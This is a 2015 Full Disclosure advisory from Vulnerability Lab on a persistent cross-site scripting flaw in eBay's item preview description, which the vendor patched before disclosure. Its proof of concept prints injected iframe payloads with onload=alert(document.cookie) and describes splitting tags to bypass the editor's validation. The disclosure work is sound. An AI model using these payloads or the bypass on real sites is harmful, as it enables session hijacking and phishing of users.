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[FD] Ebay Inc Xcom #4 - (Item Preview) Persistent Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Ebay Inc Xcom #4 - (Item Preview) Persistent Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 21 Apr 2015 11:53:35 +0200
Document Title:
===============
Ebay Inc Xcom #4 - (Item Preview) Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1215
Release Date:
=============
2015-03-23
Vulnerability Laboratory ID (VL-ID):
====================================
1215
Common Vulnerability Scoring System:
====================================
4.1
Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March
31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers
within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It
uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by
0.9% of all websites.
Our team of security professionals works hard to keep Magento customer
information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that
isn`t following our policies, or a vulnerability
inside our system, please tell us right away.
( Copy of the Vendor Homepage: http://magento.com/security &
http://magento.com/security )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent input
validation web vulnerability in the official Ebay Xcom online-service content
management system.
Vulnerability Disclosure Timeline:
==================================
2014-02-21: Researcher Notification & Coordination (Benjamin Kunz Mejri -
Evolution Security)
2014-02-22: Vendor Notification (eBay Inc Security Research Team)
2014-03-06: Vendor Response/Feedback (eBay Inc Security Research Team)
2015-03-19: Vendor Fix/Patch Information (eBay Inc Developer Team)
2015-03-23: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Ebay Inc - Official WebSite Magento Application & API 2014 Q1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the
official Ebay Xcom online-service content management system.
The issue allows remote attackers to inject own malicious script codes to the
application-side of the vulnerable module or affected web-service.
The persistent input validation web vulnerability is located in the `item
description` value of the `preview` module. The affected context is
requested through the vulnerable eBayISAPI.dll file. The vulnerability allows
remote attackers to inject script codes by usage of the vulnerable
editor spell checker to execute the persistent script codes in the valid
preview page link of the item description. The attack vector of the
vulnerability is persistent (application-side) and the request method to inject
is POST. The valid preview link can be exchanged with an exisiting
users session because of no secure implemented cookie restriction.
To bypass the validation of the editor it is required to use the spell checker
code execution in the lithium forum discovered in 2012 by me to paypal.
After the inject of the script code the replace, parses the context the frame
gets injected. Regular the preview disallow an user to preview with item
descriptions with persistent injected script code. To proof we injected a
regular frame and used the editor to replace regular texts with script codes
in the description. After the unsuccessful proof we tried the same and splitted
the tag to bypass the validation successfully.
The security risk of the application-side validation web vulnerability is
estimated as medium with a cvss (common vulnerability scoring system) count of
4.1.
Exploitation of the persistent input validation vulnerability requires a low
privileged ebay magento application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking,
persistent phishing, persistent external redirect and persistent manipulation
of affected or connected module context.
Request Method(s): (Inject)
[+] POST
Vulnerable Module(s):
[+] Editor > Spell Check
Vulnerable Parameter(s):
[+] item description
Affected Module(s):
[+] Item Preview - Description Context
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote
attackers with low privileged web-application user account and low user
interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Affected Drafts & Editor Spell Check >
http://cgi5.ebay.com/ws/eBayISAPI.dll
PoC: Preview
http://previewitem.ebay.com/ws/eBayISAPI.dll?PreviewItemV4&SessionId=233253838121&SeqId=1225637906&md=1&noPreviewHeader=1
PoC: eBayISAPI.dll?PreviewItem
<div><div class="vi-cd"><span style="float: left;" class="vi-br">Seller assumes
all responsibility for this listing.</span><span class="vi-xs vi-lk">
Item number: 233253838121</span><div class="vi-iw"><div class="cr-w cr-bt
c-gy-bdr"><div class="cr-cnt"><table class="vi-ia-attrGroup" cellpadding="0"
cellspacing="0" width="100%"><tbody><tr><td
id="vi-ia-attrTableFirstRowTd">​​​​​<h3
class="vi-ia-attrGroupTitle vi-ds2-subt">Item specifics</h3></td></tr>
<tr><td><table cellpadding="0" cellspacing="0" width="100%"><tbody><tr><th
id="vi-ia-attrSectionLastRowTd" class="vi-ia-hdAl vi-ia-attrLabel
vi-ia-attrColPadding"
align="left" nowrap="nowrap">Condition: </th><td headers="v4-107"
id="vi-ia-attrSectionLastRowTd" class="vi-ia-attrColPadding" width="50.0%">
<div style="vertical-align:top">Like New<span
style="margin-left:10px"><span><span><a href="" id="BUBbhlp1" class="bh-La"><b
class="g-hdn">Click for help</b>
<b class="bh-hlp"></b></a><div style="display:none"><div id="cnbhlp1_oly"
class="bh-pad"><div class="bh-bcnt"><span>An item that looks as if it was just
taken
out of shrink wrap. No visible wear, and all facets of the item are flawless
and intact. See the seller’s listing for full details and description of any
imperfections.
</span></div><div class="bh-fc"><div><div class="lb-w"><b class="hl-nv
lb-bo"><a href="" class="vi-ia-rm">See all condition definitions<b
class="g-hdn">- opens in
a new window or tab</b></a></b></div></div></div><b id="bhlp1_olyARROW"
class="bh-hc_lb"></b></div></div><div id="bhlp1_olyOly_Outer" class="g-hdn"
style="visibility :
hidden;width:300px"><div id="cnbhlp1_oly"><div></div><a id="bhlp1_oly_stA"
href="" class="g-hdn">BubbleHelp Opens Start of layer</a><a id="bhlp1_oly_enA"
href="" class="g-hdn">BubbleHelp End of layer</a></div></div></span></span><div
style="clear:both"></div></span><div style="margin-top:5px;">
<span style="margin-left:-86px;margin-right:10px;">Seller
Notes:</span><span>""><iframe src=a>%20"><iframe src=a><iframe>%20<iframe
src="x">"><iframe src=a>%20"> "><iframe src=a>%20"><iframe
src=a><iframe>%20<img src="x">"><iframe
src=a>%20">"</span></div></div></td><th id="vi-ia-attrSectionLastRowTd"
class="vi-ia-hdAl vi-ia-attrLabel vi-ia-attrColPadding" align="left"
nowrap="nowrap">Country/Region of Manufacture: </th><td headers="v4-108"
id="vi-ia-attrSectionLastRowTd" class="vi-ia-attrColPadding"
width="50.0%">Algeria</td></tr></tbody></table></td></tr></tbody></table></div></div></div></div><table
width="100%"><tbody><tr><td class="storeDescTd"
valign="top"><div><div class="item_description"><div id="ngvi_desc_div"
class="d-pad"><div>
<div><b>sacandaga [PERSISTENT INJECTED SCRIPT CODE!]"><iframe
src="http://vulnerability-lab.com"; onload=alert(document.cookie)"><iframe
src=http://vulnerability-lab.com onload=alert(document.cookie) <
<iframe src=http://x>%20"> as dasd as "iframe"> fwefwefw
holla</b><br></iframe>​​​​​</b></div></div></div></div></div></td></tr></tbody></table><div><div></div></div></div>
Reference(s):
http://previewitem.ebay.com/
http://previewitem.ebay.com/ws/eBayISAPI.dll
http://cgi5.ebay.com/ws/eBayISAPI.dll
http://previewitem.ebay.com/ws/eBayISAPI.dll?PreviewItemV4&SessionId=233253838121&SeqId=1225637906&md=1&noPreviewHeader=1
Security Risk:
==============
The security risk of the persistent input validation web vulnerability and
filter bypass issue is estimated as medium. (CVSS 4.1)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
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=========================
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